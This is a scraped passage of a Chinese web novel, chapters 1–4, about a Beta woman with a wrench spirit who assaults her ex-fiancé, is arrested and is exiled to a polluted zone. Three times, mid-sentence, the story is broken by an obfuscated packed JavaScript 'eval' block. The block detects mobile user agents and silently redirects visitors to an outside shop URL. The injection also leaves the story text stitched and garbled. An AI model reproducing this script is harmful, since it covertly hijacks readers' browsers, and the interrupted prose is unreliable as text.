《咱们Beta有力量》 1. chapter 1 “这里是联盟之声……下面播报今日联盟中心污染指数：中心区今日污染值17，各位居民可放心外出；花台区污染指数为211，建议准备出门的居民做好防护，如遇见可疑生物请及时拨打白塔紧急救援电话……” 电梯升至七十五层，徐徐合拢的电梯门将广播员甜美的播报声在身后掐断。周围背景音切换成了悠扬的古典乐，脚下厚实华美的地毯和似有似无的香氛，昭示着这里和外面行人戴着口罩行色匆匆是不同的世界。 塞娅之夜。 联盟中心少有的空中餐厅，主打奢华和私密性，接待的客人非富即贵。 门口西装革履的侍应朝刚下电梯的新客迎了上去，表面彬彬有礼，心里却直犯嘀咕。 出入塞娅之夜，穿着正装是不成文的规定，这位女性客人却一身浅雾蓝运动装，狗啃般的短发不知出自哪位追求先锋艺术的托尼之手，看起来压根不属于有资格进出他们餐厅的人群。 心里这样揣测，侍应仍保持得体微笑，礼貌道，“不好意思，餐厅规定需要登记客人信息，请您出示您的身份信息卡。” 对方爽快掏卡这一行为，更让侍应确信她绝不属于联盟上流社会的圈子。可接过对方身份信息卡第一眼，侍应差点没倒吸一口凉气。 姓名：况野 第一/第二性别：女/Beta 年龄：22 学历：…… 精神体：？（已觉醒） 哨兵/向导：？ 这位普通得不能再普通的客人竟然是向导/哨兵！ 侍应瞬间收起了轻视，鞠躬的腰身仿佛被看不见的手往下压弯得更低，他庆幸自己先要了对方的身份信息卡，而不是直接开口赶人。 觉醒精神体等同于一只脚迈进白塔，不管是向导还是哨兵都不是他能得罪起的。 “塞娅之夜有专门提供的可供释放精神体的包厢，您看您是否……”侍应双手捧还身份信息卡，小心翼翼地组织措辞。 向导哨兵们的精神体如果随处乱跑很令人头疼，更别提那些猛兽精神体会吓坏娇弱的太太小姐们。 “谢谢，不用了，我约了人。”不知为何名叫况野的客人浮现一丝古怪表情，问清包厢方位，随口道谢后就径直走去。 侍应跟随况野一路小跑，试图在前引路。 况野格格不入的穿着吸引了不少目光和窃窃议论，可她却像没察觉到似的，始终目视前方，步子迈得又大又坚定，就好像一艘拉满风帆，便绝无偏离自定航线的船。 进了包厢，侍应气没喘匀，正准备开口为况野介绍，被早等在包厢里的柳安世不耐送了个滚字。 侍应立刻识趣地退下，心想：这才是公子哥大小姐正常对待他们的态度嘛。 况野充耳不闻柳安世对她服装品味的鄙夷，自顾自拉开椅子坐下。 况野这种眼神都懒得分给自己的行为无疑激怒了柳安世，放平时他肯定要怒气冲冲在况家面前上眼药，但思及今天碰面的目的，这位柳家继承人奇异产生了类似于“宽宏大量”的情绪。 算了，况野马上要被解除婚约了，看她还能装多久。 况野和柳安世的婚约是两人还未分化出第二性别前定下的，在联盟中心，像他们这样的婚约并不罕见。 家族和家族需要强强联合，比契约和表面情谊更让人放心的是联姻，以婚姻的名义互换人质。 但是几周前况野觉醒了精神体，因为这件事，柳家提出了退婚。 “你睁大眼瞧瞧你哪点配得上我，”柳安世冷哼，“忍你这么多年是看在况家的份上，要我说Beta就是白白浪费联盟资源的蛀虫！” 况野没什么反应地掏出订婚戒指，推了过去。 这个她穿越过来的世界是个非典型ABO哨向世界，况野用了好几年才习惯第一性别第二性别还要叠加哨向的性别分法，每个人掏出身份卡自我介绍性别时长得跟朗诵mbti似的。不管怎么说这个世界性别“才”18种，总比她上辈子有些公民性别想改成飞机都行的国家性别数量要少一点点吧…… 万幸这个世界的“况野”是个Beta，温吞顺利地度过了约等于无的分化期。否则分化成Alpha或是Omega，刚穿过来的况野估计崩溃得要一头撞死。 柳安世喋喋不休，大概是这么多年的憋屈怨怼一股脑吐出来，连腹稿都不用打，“……读书？Beta读书有什么用？你联盟大学毕业不还是一样找不到工作？都跟你说了只有我们Alpha才有能力胜任工作，Beta和Omega安心呆在家里当后勤就好，哪个好人家的Beta出来抛头露面？” 这些话成功让况野抬起头。塞娅之夜水晶灯光线均匀洒在她面无表情的脸上，紧绷嘴角继续听柳安世大放厥词。 “别说我绝情，况野，我给过你很多机会，”柳安世放缓了语气，“你不想退婚，我知道。你不可能再找到像我一样优秀的Alpha了，怪就怪你的精神体……” 况野手心一痒，像被看不见的物体顶了一下。 她没空管自己的精神体，满脑子问号：机会？柳安世说的机会是指高中那会阻挠她考联盟大学，时不时施压让她退学早点结婚备孕？ 还有优秀？是描述学历花钱买的，比她还矮几厘米，跟她动手反过来被揍得嗷嗷叫的柳安世？ 况野惊诧地盯着对面柳安世，最后得出了他关于优秀的标准异于常人的结论。 谁知柳安世对于情绪认知同样异于常人，在况野的注视下他咽了口唾沫，强装镇定把话说完，“你的精神体太丢人了！” 丢人到柳家要退婚，况家理亏默认的程度。 柳安世维持婚约这么久，他内心深处是愿意的，一是忌惮况家，二是难以启齿地必须承认，况野好看。 并非大众审美意义上的美貌，况野的五官线条和轮廓放在女性身上难免嫌太过尖锐不够柔和。她面无表情时神奇地像杯白开水般平淡，一旦情绪上脸，面孔本身的攻击性就不加掩饰释放出来。 这是一种独特的，不曾在柳安世所见的Beta或是Omega身上出现的气质。被况野那双形状漂亮的丹凤眼一盯，柳安世莫名心潮澎湃。 况野终于肯正眼瞧他了。 况野果然舍不得他这个优质Alpha，柳安世飘飘然心想，不然怎么看他这么久，每个眼神都在挽留。 既然如此，他…… 柳安世：“联盟任何一个看重脸面的家族都不会允许精神体变异的Beta进门，白塔要接纳你不至于沉默到现在，况野，眼下这种情况，就连污染区最低贱的Beta可能都不愿意和你接触，更别说娶你了。” 他深深吸口气，感觉自己因为兴奋紧张微微战栗。买卖时极力将对面贬得一文不值，才能用最低的代价拿下。 “职场上顶多40岁就会失业，联盟发的补助金少得可怜。犯罪，被迫放逐到污染区，单身Beta就这两个下场。” “当然，我又不是那么坏的人，”柳安世虚伪一笑，“况野，你跪求做我床伴，我也不是不能考虑。” 况野：……啥？ 极度怀疑自己听错的况野不由伸手掏了掏耳朵，复述道，“给你当床伴？” “对。”柳安世神情高高在上，“以后收收你那狗脾气，学着Omega的温柔体贴知道吗？就算你不能像其他床伴一样生孩子，把我服务开心了我不会亏待你的……” 说着柳安世视线盯着她遮在袖口下的肌肤，舔了舔嘴唇，伸手去摸况野的手背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372826|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在柳安世即将碰到况野那刹那，忽地他只觉手腕剧痛，再一晃神手被拧转将近一百八十度，死死固定在桌面上。 该死的！他怎么忘了况野是个怪力女！ 柳安世想怒斥，一张口全是惨叫，他下意识跟蛆虫似的扭曲着身体，痛得一把鼻涕一把泪，哪里有几秒前的高高在上。 况野如他所愿此刻距离很近，但柳安世乱七八糟的心思早飞到九霄云外了，听见况野若有所思开口：“你对所谓的Omega床伴很有自己的见解嘛！” “你，你想干什么！”一柄闪烁着金属光泽的大扳手凭空出现在况野手里，柳安世瞳孔地震。 “既然你那么喜欢Omega，”况野说，“当然是圆你心愿，把你掰弯。” 况野举起扳手，在柳安世声嘶力竭的呼救声中，瞄准他下身某部位砸下，一边笑眯眯补充： “哦，用我的扳手。” > 十分钟后，况野脚步轻快从包厢出来，顺手反锁上了门——设置了加密小程序，非暴力打不开门的那种。 路上她叮嘱侍应：“柳先生想要一个人静静，你们不要进去打扰他。” 而后况野大摇大摆，神色如常地离开了塞娅之夜。 怪只怪太多客人在塞娅之夜干的，谈论的尽是些污臢事，餐厅只怕私密性不够，包厢隔音是一等一的好，侍应也不敢随便进出包厢。 她尽情殴打柳安世，动静压根传不到外边，短时间内没人会发现昏迷的柳安世。 况野心情舒畅，手心又被重重顶了一下，神奇地感知到了自己精神体也心情不错。 按理来说这是不可能的，联盟普遍认知里，精神体智商和种类正相关，比如边牧精神体比仓鼠精神体更聪明。 她的精神体……况野嘴角一抽，扳手还会有情绪吗？ 出租车司机看不见况野口罩下的表情，好奇和八卦欲战胜了对白塔的敬畏，忍不住说，“您是白塔的人吧？哈哈没想到哨兵向导这么亲民，还坐出租车。” 况野含糊“哦”了一声，精神体觉醒后，自动享受联盟对哨向优待，打个车点个外卖都走优先通道。 司机：“对了，您看不看斗兽场直播，前几期有个倒霉蛋觉醒的精神体居然是扳手！怎么会有人精神体是扳手，绝了！” 后视镜里况野默默看司机拍大腿大笑，心说你说的倒霉蛋好巧不巧就是我。 况家是个哨兵Alpha遍地走的超雄家族，不甘心况野只是个废物Beta，将她扔进斗兽场，试图压迫她觉醒精神体。 好消息，她确实不是平庸的路人Beta。 坏消息，她的精神体是扳手。 联盟前无古人，差点颠覆精神体研究的第一例非生物精神体。 那一夜，不知多少人哀嚎着修改论文，却在几个资深专家出来发表意见后迅速统一了意见： 有且只有生物精神体能与污染物进行战斗，非生物精神体（扳手）虽然罕见，但对清除污染物并无实质功能。 换句话说，除了猎奇，是个没用的精神体。 况野Beta扳手女的废物“美名”传遍全联盟，她出门都得戴口罩，以免被认出，嘲笑压得况家柳家双双抬不起头。 司机过了把八卦瘾，潇洒刹停在小区入口前，探头探脑打量整洁的成排独栋小楼和森严的高科技门禁，“您就住这，是不是白塔给哨兵向导分配的高级小区？真牛逼！” “不是。”后座上不怎么说话的乘客单手拎起运动包下车，纠正道，“和白塔没关系，客户住这，我只是上/门/服/务而已。” 柳安世这个傻X从头到尾没一句话说对。况野勤勤恳恳敲响了某栋小楼的门，她有工作。 ……月薪四千八联盟币。 2. chapter 2 这几年污染物蚕食了联盟好几个区域，经济状况不好；可供Beta选择的大学专业又只有那么几个，饶是况野从顶尖学府毕业，求职之路也充满拒信。 好在她找到这样一份完美契合Beta特性的工作。 久久没人应门，况野右手悬在智能门锁上方，另一手从包里掏出一小瓶喷雾往后脖颈喷了几下。 瞬间甜蜜清新的花果香弥漫开来。 直男直女A心中最经典Omega信息素味，喷上三四泵，接下去半小时内会把况野伪装成O。 联盟大力鼓吹AO配对，但总有单身的A或者O，帮助单身AO应对突然发情期/易感期的安抚员应运而生。 况野觉得Beta干这行有得天独厚的优势，通常她只要踹开客户的门，把人放倒，给对方扎上几针抑制剂就完事了。 入室抢劫般的工作风格让她入职以来，业绩一直排在第一。 这次得稍微小心点，况野脑海过了遍客户信息，用授权刷开门锁。 对方是位等级不低的Alpha。 甫一开门，陌生信息素犹如实质般扑面而来。 如果况野是其他性别，一定会被浪潮一样铺天盖地的信息素压在原地，差点窒息，但况野无动于衷地抽抽鼻子，鼻尖仿佛捕捉到一丝极其淡的植物味。 Beta的Privilege已经尽数体现了。 身后合上的门隔绝了狂暴的信息素外泄，况野喊了两声客户的名字，仍旧没有回应。 静谧的小楼似乎空无一人，但况野直觉感到，视线从四面八方投来，无法确定小楼的主人在何处窥视着她的一举一动。 况野往屋内走了几步，“慕星北先生？我没有恶意，我是受您朋友委托来帮助您的。” 正常易感期的A方圆五十米出现O，不啻于在他们脆弱的理智上投放炸弹，这位名叫慕星北的客户却对Omega合成信息素不闻不问，况野几乎要怀疑订单是不是搞错了。 就在这时，头顶响起一个声音。 “出去吧。” 短暂停顿后，屋主说： “抑制剂……留下。” 惜字如金的屋主再次沉默了。 况野见过许多易感期的Alpha，没得到信息素安抚时狂躁如野兽；也遇见过哭着求她标记的O，AO上头起来毫无理智可言，压制生理本能还能沟通的，慕星北还是头一个。 况野略一思考，答应了下来。 据她经验判断，慕星北可能刚刚开始易感期，这个时候神志还比较清醒，自行注射强效抑制剂不用看护也是可以的。 然而当况野翻找抑制剂时，偶然瞟到了信息素检测计，瞬间汗毛倒竖：小楼内信息素浓度已然超出了测量上限！ 她是Beta闻不到气味，再不马上注射强效抑制剂，信息素的主人将会随时失控！ 慕星北……怎么这么能伪装？除非…… 况野余光扫到光洁的木质地板上，悠悠飘落一根淡褐色精神体羽毛。 慕星北是隐瞒哨兵身份的Alpha。 不仅骗过了平台，还差点骗过了她！ 安抚员常识：不是向导就不要揽向导的活，向导缺位的哨兵，易感期几乎百分百暴走。 况野感觉自己僵住了，手指还在机械地摸索抑制剂，脑内不受控制地浮现出暴走哨兵摧毁周围一切的惨状。这不是她能解决的局面了，必须上报白塔。 她将手伸向了夹层里的报警键。 可下一秒，况野动作被迫中断。 “我说了，抑制剂留下。还有，不要通知白塔！” 精神体羽翼阻止况野呼救，紧接着装着报警键的运动包被猛地掀到墙上，抑制剂和合成信息素试剂哗啦啦碎了一地。 猛兽自虚空现身，与此同时一道人影径直从二楼跃下，像矫健的猎豹一样转瞬逼近况野面前。 和濒临暴走的哨兵没有道理可讲，况野抽出精神体扳手，抡扳手如棍，先是撞开了阻拦自己的巨大羽翼，随即正面迎上哨兵，对准脑袋狠狠砸下去。 所有事先放一边，小命要紧！ 然而哨兵鬼魅般地闪过了，气流掀起几根发丝，看清况野的那一刻，哨兵的眼睛慢慢睁大了。 “你……” 况野正处于肾上腺素狂飙的状态，完全没听到哨兵的喃喃自语，吸气又是一扳手，不把他砸个头破血流不罢休。 一只滚烫的手抓住了况野胳膊，几乎没用什么力，反剪手臂顺势将她摁倒。等况野反应过来，视野里是小楼的玻璃天窗，和哨兵的脸。 不愧是白塔的哨兵，仅用膝盖和一只手，就轻松控制住了她。 “我不会伤害你。” 抢在况野奋力挣扎前，年轻的哨兵快速说。 足足三四秒，可以轻松杀死她的哨兵没有下一步动作，况野紧绷的神经才松弛了一点，心脏砰砰狂跳。 况野发现对方胸膛也剧烈起伏着，也许是忍受易感期的缘故，潮红从哨兵耳朵脸颊延伸到脖颈以下，脸上有几处擦伤和干涸的血迹。 慕星北本人比她匆匆一瞥的照片上更英俊，年轻。 “我不会伤害你的。”慕星北重复一遍，“可以……请你不要惊动白塔么？” 一旁他的精神体凑过来，翅膀把况野的头发蹭得乱七八糟。 况野：…… 慕星北的精神体，好大一只狮鹫。 感受到况野探究的目光，仿佛难堪般慕星北侧过脸去，只留给况野一段绷紧流畅的脖颈线条。 “我拒绝被白塔强制配对向导。” “我已经……”慕星北似乎还想说什么，却强迫自己紧紧闭上嘴巴，不让它再漏出一个字。 原来是因为这个。况野了然。 白塔内部配对制度她有所耳闻。 哨兵的五感敏感度和战力远超常人，但对声光气味的过分敏感，哨兵容易感知过载陷入暴走状态，任何其他方法治标不治本，除非得到向导疏导。 于是所有在白塔服役超过三年的哨兵会被强制分配向导，像慕星北这种易感期徘徊在暴走边缘的哨兵，白塔一旦知晓此事，肯定会立即让向导与之结合。 况野将事情串在一起。 看慕星北的样子，估计是刚执行完白塔的任务，突然进入易感期，有人帮他藏在了这里，又叫了安抚员上门。 还是个反抗白塔包办婚姻，捍卫恋爱婚姻自由的哨兵。况野心想。 整个空间内充斥混在一起的，甜得令人作呕的人工信息素味，是慕星北非常讨厌的味道。确切地说，他厌恶一切Omega的信息素。 此刻况野喷洒的花果香信息素源源不断输送到慕星北鼻腔，整个人就好像被劣质香水污染，慕星北很想马上帮她洗掉。 但他不能。 慕星北缓缓松开桎梏，眼神黯淡下去。知情不报对况野而言是大麻烦，果然…… 忽然扳手捅了慕星北一下。 “可以。” “我说我可以当作什么都不知道，什么事都没发生。”况野挤出一个假笑，命令道，“现在从我身上起来。” 遵从况野指令，慕星北面朝沙发背对她，露出腺体。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372827|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 况野没想到慕星北会这么配合，估计是烧糊涂了，把最脆弱的腺体暴露给陌生人。 西斜光影打在跪坐的哨兵身上，从后颈到脊背线条流畅地顺下去。平心而论慕星北修长矫健，肩宽腰细腿长，哪怕制服乱七八糟脏得不成样子，他整个人也看起来像艺术馆中最完美的战士雕像，温顺低头的姿态平添一分脆弱，足够吸引所有人的目光。 慕星北平静合眼，指尖却隐忍收紧—— 况野却对哨兵的英俊脆弱视而不见，抓起注射器，啪啪啪往腺体粗暴连扎三针。 刺破腺体皮肤时慕星北条件反射地哆嗦了一下，向前歪倒在沙发上。 况野吓了一跳。 “喂，喂，慕先生？” 况野去推慕星北肩头，对方晃动了一下，脑袋软绵绵枕在沙发上。 没听说过A会对抑制剂反应剧烈，况野心里咯噔一下，心想自古金盆洗手前最后一单不吉利，千万别搞出人命—— 探到慕星北还有鼻息，才松口气。 是让慕星北自己缓过来，还是立即呼叫医疗？况野左右为难。 半昏迷的哨兵发出含混的呓语，况野凑过去仔细分辨，不由哑然：神志不清的情况下，慕星北反复念叨着“不要告诉白塔”。 况野闻不到空气中暴雨席卷森林的信息素味，但肉眼可见慕星北情况糟糕。 抑制剂对抗本能的战争在他体内引发一场高热，慕星北烧得通红的薄薄的眼皮不安颤动着，干裂起皮的嘴唇每念叨这句话，就好像挥动炽热铁链鞭打神经，阻止自己滑向代表臣服的黑暗。 好执拗，离经叛道的哨兵。 不知为何况野心里触动了一下，最终她许诺，“我发誓我不会告诉白塔。” 想了想，况野动手把慕星北拖上沙发，一低头发现慕星北中途醒了，视线聚焦在她脸上，眼神一时涣散，一时清醒。 但无论如何，视线始终跟随。 哨兵湿漉漉的额发被拂上去，露出无可挑剔，深邃的眉眼来。明明在忍受痛苦，慕星北却在和她对视时无意识笑了笑，笑容宁静。 “是你啊。”慕星北说。 况野愣住，怎么回事，慕星北认识她么？ ……应该是认错人了吧。 慕星北沉沉长出一口气，他似乎清醒了一点，挣扎着去脱手套。 慕星北浑身上下只有颌下一截皮肤露在外面，其余包裹得严严实实。他虚弱拉扯了两下手套，没脱成功。 “……”况野叹了口气，觉得自己真是善心大发，得，今天干护工来了，“我来吧，回头记得加钱。” 况野食指从战术手套边缘艰难抵进一截。 白塔作战服作战手套都选用高强度材质，出汗后紧紧贴在皮肤上，就好像第二层皮肤。 黑色皮质勾勒出慕星北修长有力的手指，勾勒出贴合慕星北手掌，缓慢向里深入的况野指尖。 慕星北的体温又在升高。 况野停下动作，狐疑地观察病患。她现在食指抵着慕星北掌心，其余四指松松扣着他腕骨，进也不是退也不是。 变故却在此时发生，智能门锁突然滴滴滴响起刺耳警报，又兀自中断！ 紧接着大门从外面被人一脚踹开，一群人端着枪冲了进来，脚步声对讲声纷杂，黑洞洞的枪口瞄准了沙发上的况野，打在脸上的强光刺得她睁不开眼。 “不许动！” 离得最近的那人厉声道，“况野，你因涉嫌故意伤害柳先生，社会危害性极大，联盟中心警署已下令将你批捕！罪名一经核实，你将被驱逐至污染区！” 3. chapter 3 “公共场合殴打柳安世，不仅畏罪潜逃，还误导餐厅，错过最佳施救时间。” “这些就算了，你居然试图猥亵一名Alpha未遂！”会见室里，艾德里安痛心疾首地拍着桌子，“你想找Alpha帅哥，跟我说我帮你啊！被警署捉现行很难替你辩护的！” 桌对面的况野表情毫无波澜，好像被铐上手铐的是艾德里安而不是她。 看况野一副死猪不怕开水烫的样子，艾德里安就气不打一处来，“你你你”颤巍巍点了她半天，最终化作绝望长叹，“现在所有证据都证明你蓄意伤害，要是……” 要是他救不了况野，况野真被流放到污染区，怎么办？ 艾德里安悲从中来，没控制住发出一声响亮啜泣。 况野：…… 她为数不多的朋友艾德里安，和她一样是个出身家族，不受重视的Beta。一听说她被逮捕的消息，不顾阻拦就来探望她。 手铐限制了行动范围，况野尽力向前探也够不到艾德里安肩膀，只好退而求其次胡乱拍拍他刘海，以示安慰。 “呜呜呜，”艾德里安抽泣着表示抗议，“别弄乱我发型。” 况野处境凶险，柳安世目前还躺在医院里，伤情不明，柳家暴怒，放话绝不放过况野，唯一希望只能寄托于况家站出来，给况野撑腰。 艾德里安喃喃把想法说出口，况野却平静而坚决地摇摇头，“他们不会的。” “为什么不会？况家其他人就算了，你爸妈不会眼睁睁看你去污染区送死的……”对上况野有点怜悯的眼神，艾德里安眼圈又红了，将身上那件设计师款潮牌攥得皱巴巴的，可怜巴巴反驳，“他们是你亲人……” 艾德里安清楚，况野说的是对的。 像他们这种Beta，无论再好再优秀，对家族唯一价值就是联姻。 原本况野有机会脱离大家族Beta的普遍命运的，只要她觉醒精神体，加入白塔。 可偏偏她觉醒的是前无古人的扳手精神体，在全联盟面前丢了大脸。况家恨不得一脚将她踹开，怎么可能为她得罪柳家。 “好了，”再说艾德里安又要哭，况野转移话题，“笙笙不知道我的事吧？别让她知道。” 他们的另一个朋友万笙是Omega，前段时间刚结婚。万笙夫家一直对万笙普通的家境，以及她坚持和两个Beta朋友往来颇有微词。万一万笙知道消息跑来看她，平常一定更不好过。 艾德里安点头，“我……”就在这时光脑震动，收到了医院那边最新消息。 “……我靠！” 脏话代替“我知道”飙出，艾德里安腾的站起身差点没把椅子撞翻，震惊得五官乱飞，“况野你知不知道柳安世伤成什么样了！” 况野：“我乐于助人，帮他解决人生最大烦恼了。” 艾德里安面色灰败，声音虚弱到像是挤出来的，“哈？” 况野一摊手，正色道：“作为前未婚妻，我是最了解柳安世的人了。我知道他碍于社会期望无法真实做自己，只能通过不断骚扰一个又一个无辜Omega缓解压力，所以我满足他心愿让他勇敢做自己，精彩做O。” 艾德里安目瞪口呆。 “你听听你说的是人话吗！” 这是让柳安世鸡飞蛋打的理由吗！对法官这么说法官会认为况野藐视法庭从重处罚的吧？！ 艾德里安仰天长啸，抓狂地来回踱步，不停念叨着“完了完了”。 突然他想到什么似的，霍然回头：“况野，你该不会，该不会是……” ——明知故意伤害致人重伤会被驱逐到污染区，故意这么做的吧？ 他不相信好朋友是冲到到不计后果的人。 送况野去塞娅之夜的司机口供证实，况野一路上都在翻阅污染区相关资料。 况野双手十指交叉放在身前，关进警署的几小时里她滴米未进，羁押的环境绝不算舒适，但艾德里安愣是从她身上看出几丝轻松感。 艾德里安眼睁睁看着况野肯定地点了下头，说，“是你想的那样。” 艾德里安呆愣在原地，不知所措地抹了把脸，他这一天的“为什么”比一整年还多。 “因为……”况野说，“我们联盟中心好像要完蛋了？” 不怪艾德里安着急上火，对所有联盟中心居民来说，污染区就是通往地狱的不归路。 联盟最初由二十余个区组成，现在已有四个区被彻底污染，区号空置；还有七个区遭受污染潮侵袭面积达百分之八十以上，即所谓的污染区。那里是白塔哨兵向导和污染物拉锯作战的战场，也是亡命徒搜寻物资的淘金地。 但要命的是普通人体内积累的污染值不可逆，联盟中心作为人类文明心脏，被其他区像坚硬蚌壳一样紧紧守卫，离开联盟中心的人再也不可能回到这里。 “继续留在联盟中心，要么被况家逼着当作筹码交易给哪个对我精神体感兴趣的研究机构，要么被送到某个Alpha床上。” 逃离的念头从况野在这个世界睁眼的那瞬间就产生了，与其未来是一眼能望到尽头的被动句，她选择主动离开烂透了的联盟中心。 况野支着下巴，“我查过这几年类似案件，柳家推波助澜一下我应该能去污染四区吧，不愧把柳安世放在名单第一个。” “停停停！你还有死亡名单？” “柳安世，超雄老登我大伯，抢别人入学名额的李家那个Alpha……”况野扳着手指，看哪个不顺眼她就揍哪个，让这些人渣贡献一点价值，谁叫柳安世先撞她扳手上。 艾德里安张了张嘴，发现自己无话可说。 连柳家反应都在况野计划内，自己想到的想不到的况野一定已经深思熟虑很多次了。 她是铁了心要挣脱这个以尊严自由换取安稳生活的牢笼。 那他的行为，是在救况野还是在帮倒忙？ 这时候有人敲会见室大门，不耐烦地说，“里面的嫌疑人家属出来，受害者要见你。” 能做出这么文明温和的行为肯定不是柳家人，况野和艾德里安对视一眼，两人都想到了同件事。 糟了！艾德里安拔腿就走，那个Alpha上门找况野讨说法来了！ > 完蛋了。 望着长廊尽头向这个方向走来的两道身影，艾德里安一百零一次浮现出这个词，以至于对方和他寒暄时他麻木得只剩本能反应。 “嫌疑人家属？” 艾德里安：“嗯嗯。” “真是没想到啊。”其中一人很热情地跟艾德里安握了握手，促狭地微眯起眼睛，笑着看向身侧，“介绍一下，这位是况野被发现时和她在一起的Alpha。” 好婉转的描述，这句话的意思不就是等同于在说“这就是况野被逮捕时半昏迷被迫和她滚在一起的Al ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372828|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pha”吗！艾德里安脑子嗡嗡的，冒死对上慕星北视线。 只见眼前两人身高都超过一八五，外罩漆黑披风，肩头暗银色徽章闪耀。行走时披风翻动，露出暗红色衬里，和束缚在宽大皮带下，修长结实的双腿。 怎么没人提前告诉他，受害者是白塔的人啊？！ 对付污染物，人类科技树上点亮的武器几乎无效，联盟和人类如今尚存，全赖白塔守护。 因此白塔无论哨兵还是向导都享有特殊豁免权，涉及白塔的犯罪会被严厉处罚。 艾德里安小心脏哆嗦着等候审判，慕星北一句话把况野立即送去烤了都行。 “时间仓促，现在只来得及让警署撤销那份不实指控，我会想办法证明况小姐当时是在秘密协助白塔任务，尽快让她恢复人身自由……” 艾德里安：嗯……嗯嗯嗯？ 他没想到是这个结果，小心翼翼地问了一句：“但警署的人说，况野要一直关着直到送去污染区。” “况小姐不会去污染区的。”慕星北断然道。 此前艾德里安心神不宁，现在才逐渐缓过来。这个不好惹的哨兵似乎不太情愿看见他（手都没跟他握！），态度却很强硬，艾德里安觉得那句话的潜台词是，慕星北不会让况野流放污染区的。 问题是，艾德里安嘴巴张了张，又闭上，这人知不知道是况野主动想去污染区啊…… 与此同时，况野闭目养神，内心充满了裸辞跑路的喜悦。 况野：再见了联盟中心，今晚我就要远航。 【鹅。】 忽地没其他人的羁押室里传来细细的嗓音。 【鹅。】 【鹅。】 像是打饱嗝，又像是幻听。 况野知道，这个只有她能听见的声音，并不来自于任何真实的物体，甚至不使用人类理解的语言，更像是信息直接传输到她大脑里。 于是况野在心里默念：【别鹅鹅鹅了，下一句是曲项向天歌。】 精神体扳手不甘示弱：【鹅。】 况野不清楚，其他人的精神体会不会老喊饿，但显然世界上没有研究扳手食谱的先例，她也不能跟基本弱智的扳手精神体讲道理。 扳手从虚空现形，哐啷掉在况野腿上。这把特大号扳手闪着银色凶光，实乃给别人开瓢的利器。 况野拿起扳手，U形开口无意间卡在手铐链条上，旋即链条像柔软豆腐一样断裂！ 警署的人看到这场景估计要晕过去，连科技院引以为傲的最新高强度材料都能随随便便破坏，联盟中心警署实际上困不住况野，严密监牢对况野简直像过家家一样。 况野面色如常梆地敲了扳手一拳，扳手震动着，委委屈屈地把链条接上了。 她的精神体有点不一般。 至少况野没听说过什么精神体能破坏任意材质金属，还能修复。如果不是这点，她也不会将跑路计划提前。 因为污染四区，或许真的有况野一直寻找的问题的答案。 “嫌疑人C4751号，你有一条处罚结果待查看。” 滴地一声，虚拟屏展开在况野眼前。 “……残害Alpha，社会影响极其恶劣，但因协助白塔酌定从轻……可选择进入污染五区义务劳动……” 况野解放的笑容凝固在嘴角，万万没想到一切顺利，四区居然变五区……慕星北恩将仇报来了！ 4. chapter 4 将况野扫地出联盟中心的速度之快，无以表明柳家对生A育O的震怒。 觉都没睡，况野被中心警署火速架着扔到了飞船上。 况野拍拍运动服，浑身上下除了身份信息卡和警署还给她的储物囊，算得上两袖清风，口袋空空。 况野查看储物囊，意外发现里面有生活用品和换洗衣物，以及她的光脑，应该是艾德里安想方设法绕过警署检查，偷偷塞进来的。 光脑上一条账户转账提醒，转账金额有零有整，看起来艾德里安把自己小金库全转给她了，居然还缜密备注了“自愿赠与”。 艾德里安：我和笙笙会等你回来的TT 况野失笑。 “我不要上飞船！我不要去污染区！” 突然有人声嘶力竭地吼，特殊港口工作人员见怪不怪，甚至没兴趣抬头扫和警署对抗不肯走的青年一眼。 青年双脚死死抵着地面，身体向后倾，像是拼命赢得和工作人员的拔河：“去污染区是要死人的！我——” 脏话还没出口，青年就两眼翻白，软趴趴倒了下去，被警署像死猪一样拖到了飞船上。 冷眼旁观的乘客不约而同摸摸身上的金属环。 他们被驱逐到污染区的，或多或少是犯了事，或者得罪了人，名义上是联盟的不法分子，被强制佩戴用于惩戒和定位的金属环。 反抗的青年就是被金属环电晕的。 飞船即将开动，况野抢占先机，迅速占了个位置不起眼的胶囊仓。 她金属环上显示的义务劳动地点是污染五区的雷纳塔星，况野枕在手臂上，挺郁闷地查阅雷纳塔星的资料。 唉，早知道善心大发接什么最后一单。五区虽然是所有污染区中最安全的，可想到四区也不简单。况野心想，Alpha净帮倒忙。 慕，星，北，她记住这个哨兵了。 “这……是天门？” “居然这么大？这玩意真能检测出每个人的污染值？” “我不想离开联盟中心……” 惊诧，叹息，断断续续的哭泣，从胶囊仓拉开的缝隙中涌进来。 况野打开胶囊仓的可视窗，苍白色的触手状物质拂过飞船侧舷，仔细看出发港口的上方天穹，实则是一具巨型骨骼倒扣在港口上，那些烂肉一样的物质附着在骨架上飘荡。 